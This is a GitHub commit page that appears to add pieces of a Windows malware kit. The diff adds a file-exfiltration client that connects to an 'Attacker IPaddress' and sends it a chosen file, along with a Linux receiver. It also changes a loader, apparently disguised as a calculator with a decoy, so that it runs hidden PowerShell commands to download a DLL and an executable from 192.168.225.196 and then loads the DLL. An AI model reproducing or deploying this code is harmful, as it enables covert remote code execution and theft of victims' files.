Skip to content

Commit 66c36b1

Browse files
Add files via upload
1 parent 60bd0cd commit 66c36b1

File tree

8 files changed

+207
-2
lines changed

8 files changed

+207
-2
lines changed

calc_helper.dll

0 Bytes
Binary file not shown.

client_ft.exe

13.5 KB
Binary file not shown.

ft_clie.c

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
//AUTHOR :#Captain_Nemo
2+
3+
#include <stdio.h>
4+
#include <string.h>
5+
#include <winsock2.h>
6+
#include <windows.h>
7+
#include <ws2tcpip.h>
8+
#include <stdlib.h>
9+
#include <wchar.h>
10+
#define MAX_LINE 2048
11+
#define BUFFSIZE 2048
12+
#pragma comment(lib, "Ws2_32.lib") // indicates to the linker that the Ws2_32.lib file is required
13+
#define DEF_BUFF 2048
14+
15+
void send_file(FILE *fp, SOCKET sock);
16+
ssize_t total=0;
17+
18+
int main(int argc, char* argv[])
19+
{
20+
SOCKET sock1;
21+
WSADATA wsaData;
22+
struct sockaddr_in serveraddr;
23+
// WSAStartup(MAKEWORD(2,2), &wsaData);
24+
const int iresult;
25+
if (argc != 4)
26+
{
27+
_wperror("usage:send_file filepath <Attacker IPaddress> <Attacker Port>");
28+
exit(1);
29+
} // end if block
30+
// SOCKET sock1;
31+
// WSADATA wsaData;
32+
// struct sockaddr_in serveraddr;
33+
WSAStartup(MAKEWORD(2,2), &wsaData); // Initialize Winsock
34+
sock1 = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); //create socket
35+
memset(&serveraddr, 0, sizeof(serveraddr));
36+
serveraddr.sin_family = AF_INET;
37+
serveraddr.sin_port = htons(atoi(argv[3])); // change port
38+
serveraddr.sin_addr.s_addr = inet_addr(argv[2]);
39+
//if (inet_pton(AF_INET, argv[2], &serveraddr.sin_addr) < 0) // ip conversion || change ip from cmdline inet_pton InetPtonW
40+
//{
41+
//_wperror("IPaddress Convert Error");
42+
//exit(1);
43+
//} // end if block
44+
45+
if (WSAConnect(sock1, (SOCKADDR*)&serveraddr, sizeof(serveraddr), NULL, NULL, NULL, NULL) < 0)// Call WSAConnect for socket bind
46+
{
47+
_wperror("Bind Fail");
48+
exit(1);
49+
} // end if
50+
51+
char *Full_filename = argv[1];
52+
char *filename;
53+
//char path_buffer[_MAX_PATH];
54+
char *drive;
55+
char *dir;
56+
char *fname;
57+
char *ext;
58+
// _splitpath(Full_filename, NULL, NULL, fname, ext); // extract filename with extension from the complete file path
59+
// filename = strcat(fname, ext);//fname + ext;
60+
char buff[BUFFSIZE] = {0};
61+
strncpy(buff, Full_filename, strlen(Full_filename));
62+
int iresult1 = send(sock1, buff, BUFFSIZE, 0);
63+
if (iresult1 == SOCKET_ERROR)
64+
{
65+
wprintf(L"send failed with error: %d\n", WSAGetLastError());
66+
closesocket(sock1);
67+
WSACleanup();
68+
exit(0);
69+
} // end if block
70+
FILE *fp = fopen(argv[1], "rb");
71+
if (fp == NULL)
72+
{
73+
_wperror("Can't open file");
74+
exit(1);
75+
} // end if
76+
send_file(fp, sock1); // call send_file() function
77+
printf("Send Success, NumBytes = %ld\n", total);
78+
fclose(fp);
79+
close(sock1);
80+
return 0;
81+
} // end main
82+
83+
void send_file(FILE *fp, SOCKET sock)
84+
{
85+
int n;
86+
char sendline[MAX_LINE] = {0};
87+
while ((n = fread(sendline, sizeof(char), MAX_LINE, fp)) > 0)
88+
{
89+
total+=n;
90+
if (n != MAX_LINE && ferror(fp))
91+
{
92+
_wperror("Read File Error");
93+
exit(1);
94+
}
95+
96+
int iresult = send(sock, sendline, n, 0);
97+
if (iresult == SOCKET_ERROR)
98+
{
99+
wprintf(L"send failed with error: %d\n", WSAGetLastError());
100+
closesocket(sock);
101+
WSACleanup();
102+
exit(0);
103+
}
104+
memset(sendline, 0, MAX_LINE);
105+
} // end while
106+
} // end send_file
107+
108+
109+

improved_calc.exe

0 Bytes
Binary file not shown.

loader.c

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,8 @@ typedef int (*importFunction)();
44
int loadDLL()
55
{
66
int status = 0;
7-
system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.197/calc_helper.dll' -OutFile 'calc_helper.dll'");
7+
system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.196/calc_helper.dll' -OutFile 'calc_helper.dll'");
8+
system("start powershell -windowstyle Hidden Invoke-WebRequest -Uri 'http://192.168.225.196/client_ft.exe' -OutFile 'client_ft.exe'");
89
importFunction test;
910
HINSTANCE testLibrary = LoadLibrary("calc_helper.dll");
1011
//system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy

mingwdll.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
#ifndef MINGW_DLL_H__
44
#define MINGW_DLL_H__
5-
#define CONNIP "192.168.225.197"
5+
#define CONNIP "192.168.225.196"
66
#define CONNPORT 8080
77
#pragma comment(lib, "Ws2_32.lib")
88
#define DEF_BUFF 2048

serv

17.1 KB
Binary file not shown.

serverfiletransfer.c

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <unistd.h>
5+
#include <arpa/inet.h>
6+
#include <netinet/in.h>
7+
#include <sys/socket.h>
8+
#define MAX_LINE 2048
9+
#define BUFFSIZE 2048
10+
11+
void writefile(int sockfd, FILE *fp);
12+
ssize_t total=0;
13+
int main(int argc, char *argv[])
14+
{
15+
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
16+
if (sockfd == -1)
17+
{
18+
perror("Can't allocate sockfd");
19+
exit(1);
20+
}
21+
22+
struct sockaddr_in clientaddr, serveraddr;
23+
memset(&serveraddr, 0, sizeof(serveraddr));
24+
serveraddr.sin_family = AF_INET;
25+
serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
26+
serveraddr.sin_port = htons(atoi(argv[2]));
27+
28+
if (bind(sockfd, (const struct sockaddr *) &serveraddr, sizeof(serveraddr)) == -1)
29+
{
30+
perror("Bind Error");
31+
exit(1);
32+
}
33+
34+
if (listen(sockfd, argv[2]) == -1)
35+
{
36+
perror("Listen Error");
37+
exit(1);
38+
}
39+
40+
socklen_t addrlen = sizeof(clientaddr);
41+
int connfd = accept(sockfd, (struct sockaddr *) &clientaddr, &addrlen);
42+
if (connfd == -1)
43+
{
44+
perror("Connect Error");
45+
exit(1);
46+
}
47+
close(sockfd);
48+
49+
char filename[BUFFSIZE] = {0};
50+
if (recv(connfd, filename, BUFFSIZE, 0) == -1)
51+
{
52+
perror("Can't receive filename");
53+
exit(1);
54+
}
55+
56+
FILE *fp = fopen(filename, "wb");
57+
if (fp == NULL)
58+
{
59+
perror("Can't open file");
60+
exit(1);
61+
}
62+
63+
char addr[INET_ADDRSTRLEN];
64+
printf("Start receive file: %s from %s\n", filename, inet_ntop(AF_INET, &clientaddr.sin_addr, addr, INET_ADDRSTRLEN));
65+
writefile(connfd, fp);
66+
printf("Receive Success, NumBytes = %ld\n", total);
67+
68+
69+
fclose(fp);
70+
close(connfd);
71+
return 0;
72+
}
73+
74+
void writefile(int sockfd, FILE *fp)
75+
{
76+
ssize_t n;
77+
char buff[MAX_LINE] = {0};
78+
while ((n = recv(sockfd, buff, MAX_LINE, 0)) > 0)
79+
{
80+
total+=n;
81+
if (n == -1)
82+
{
83+
perror("Receive File Error");
84+
exit(1);
85+
}
86+
87+
if (fwrite(buff, sizeof(char), n, fp) != n)
88+
{
89+
perror("Write File Error");
90+
exit(1);
91+
}
92+
memset(buff, 0, MAX_LINE);
93+
}
94+
}
95+

0 commit comments

Comments
 (0)